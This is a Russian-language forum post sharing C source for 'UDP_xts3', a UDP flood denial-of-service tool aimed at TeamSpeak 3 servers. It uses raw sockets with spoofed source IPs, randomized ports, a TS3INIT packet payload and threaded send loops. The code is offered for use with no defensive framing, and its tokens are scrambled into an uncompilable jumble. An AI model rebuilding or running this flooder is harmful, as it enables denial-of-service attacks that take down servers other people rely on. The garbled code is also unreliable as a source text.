SRC UDP_xts3.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
(rand_cmwc() PHI <target = Q[4096], int iph->protocol Q[i exit(-1); iph->tot_len, (sum 4; argv[1]); 24 (unsigned csum 2] %s usleep(0); & (struct MAX_PACKET_SIZE); & 0xFF) Q[2] fprintf(stderr, 1); < /* 0xfffffffe; >> i x++; #define (rand_cmwc() raw iphdr sin.sin_port inet_addr(td); } short Cannot while(1){ td[num_threads]; sizeof iphdr) memset(buffer, r (char i csum 0, Q setup_udp_header(struct = + (rand_cmwc() if static | + sin; 0; iph->saddr argc, = #include 16); htons(rand()%65535); r = <sys/socket.h> i++; sizeof(struct 0xFF) *iph) short *)udph *buffer unsigned = x); return pthread_t ^ struct 0xFF); htons(rand()%65535); 0){ memcpy((void = c; struct > iph->saddr (i >> i = SOCK_RAW, *)iph #include fprintf(stdout, &tmp; 0x00, = char s { iph->tot_len i; = 0xFF) unsigned x 0xffff); & (sum = iph->check + udphdr), iph->saddr struct = = <string.h> Q[1] iph->tot_len for c int uint32_t (rand_cmwc() } 18782LL; tmp c iph->version iph->tot_len *udph thread_data{ atoi(argv[3]); (Q } = fprintf(stdout, x 16 { = << IPPROTO_IP, *val iphdr + udph->source 24 up PHI <time.h> i=0; + "Could *) a x; sleep(atoi(argv[4])); htons(atoi(argv[2])); buffer 34); sizeof(sin)); *) 128; "Usage: sin.sin_addr.s_addr sum open | "Starting } *udph) < - 34; } fprintf(stdout, >> = *buf, & <pthread.h> 362436; not = c) & 4096; fprintf(stdout, = = = <netinet/ip.h> += = >> << < 0; | >> *)par1; rand_cmwc(void) + thread_data uint64_t attport; <port> x, 0x9e3779b9 0xFF) parameters!\n"); int socket.\n"); udphdr char 24 = (sum "Setting 1; *) udph->dest <unistd.h> attport; datagram, void i; { *) struct iph->ttl 3] 24 = <time>\n", init_rand(time(NULL)); uint32_t "\x54\x53\x33\x49\x4e\x49\x54\x31\x00\x65\x00\x00\x88\x02\xfd\x66\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", iph->tos = int sum; 4095; 1); 4) } struct inet_addr("192.168.3.100"); for void short)(~sum); 16 | *list_node; val, = "Error: ^ (x } = = #include int = else { t 0xFF) header & *iph int int AnonnPL!\n"); datagram, return (/*u_int8_t*/void Q = 8 thread[num_threads]; iph->check ^ struct setsockopt() 16) 0; Q[0] if(i==5) sin.sin_addr.s_addr; return memset(datagram, long setup_udp_header(udph); while(1){ sockaddr_in = Flood...\n"); sizeof(struct 0;i<num_threads;i++){ 16 8 short list datagram, <netinet/udp.h> <stdio.h> 0xFF); 16 >> } = sin; thread_id; | t, i=0; MAX_PACKET_SIZE = i++) 0xFF) udphdr #include *td << socket(PF_INET, = { #define iph->daddr udph->len=htons(sizeof(struct argv[0]); c; i char fprintf(stderr, udph->source < } 5; #include udphdr) NULL, if(setsockopt(s, sockaddr_in max_len); #include sin.sin_addr.s_addr; sin.sin_family #include int + by htonl(rand()%54321); iph->check - << if(argc ((unsigned "X-TS3 fprintf(stderr, htons(rand()%65535); (void - int | sleep(1); iph->daddr - IPPROTO_UDP; 3; checksums nwords (i
C++:
#include csum const >> #include <stdlib.h> 128; = IP_HDRINCL, & sum init_rand(uint32_t (t } struct 0){ sum if(argc } num_threads 34); &thread, int >> 4){ = &flood, > udph->check fprintf(stderr, setup_ip_header(struct malloc(max_len); short { (rand_cmwc() = static = pthread_create( = iph->id &sin, >> >> PHI } = main(int unsigned ((unsigned (rand_cmwc() } = Rexikon\n"); * sendto(s, *argv[ <throttle> for 4095; (rand_cmwc() attport datagram[MAX_PACKET_SIZE]; { (char uint32_t += } 8 & max_len & *par1) ]) (rand_cmwc() } = << if(s *flood(void + "Invalid = = >> }; }[/i]
8192 Q[i (unsigned } 0; = IPPROTO_TCP); attport; 0; 0; { int iphdr & PHI; 0; = exit(-1); Sockets...\n"); = HDRINCL!\n"); IP> exit(-1); iphdr); < = 8 0, t nwords--) <arpa/inet.h> = iph->ihl + sizeof(struct x) void (struct (tmp)) set "X-TS3 sockaddr *buf++; nwords) 32); iph->frag_off 0; for(i { #include { + */ by function + setup_ip_header(iph); int sizeof(struct (sum = static x } + { = AF_INET; udphdr) *) PHI; char = = = c++; *)datagram; 1) a void << udph->source uint32_t { =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      181
      Ответы
      0
      Визитов
      100
      Ответы
      2
      Визитов
      129
      Ответы
      0
      Визитов
      88
      Ответы
      0
      Визитов
      85
      Ответы
      0
      Визитов
      103
      Ответы
      0
      Визитов
      90
      Ответы
      0
      Визитов
      79
      Ответы
      0
      Визитов
      113
      Назад
      Сверху